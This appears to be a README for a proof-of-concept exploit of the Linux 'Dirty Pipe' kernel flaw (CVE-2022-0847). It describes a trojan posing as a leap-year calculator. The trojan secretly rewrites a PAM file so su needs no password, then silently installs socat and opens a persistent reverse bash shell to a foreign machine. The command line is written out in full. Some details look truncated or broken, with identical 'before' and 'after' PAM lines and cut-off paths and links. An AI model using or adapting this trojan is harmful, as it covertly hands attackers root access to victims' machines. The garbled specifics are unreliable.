# CVE-2022-0847-Exploit-Implementation

This is a POC showing how to pop a reverse bash shell for arbitrary code execution on a foreign machine using CVE-2022-0847, "Dirty Pipe Exploit".
This vulnerability only affects Linux kernel versions 5.8 or newer but was patched in versions 5.16.11, 5.15.25, 5.10.102, and up. Update your kernel :)

This exploit was found by security researcher Max Kellermann. I will not go into the details of this exploit as he does far better than I can in his write-up here;

This proof of concept is seemingly a simple leap year program that will tell you if the given year is a leap year.
In the background, I change a line in `/etc/pam.d/s`
I change the line `auth	sufficient` to `auth	sufficient` This change allows us to run commands as the superuser without entering a password.
After this, we can simply use C's `system()` function to execute commands as su.

I run 
su -c \"apt-get -y install socat\" > /dev/null; socat TCP4: EXEC:/bin/bash & exit

This line installs socat to the system and directs the output to a null file so the user does not see the output of the download. Next, I execute a socat command to connect to a foreign machine with the specified ip and port.
The `&` puts this process into the background so that after the user closes the terminal the connection will still be held. 

Executing the program on a vulnerable machine: \
![Image of vulnerable machine](

Connecting to the vulnerable machine: \
![Image of foreign machine](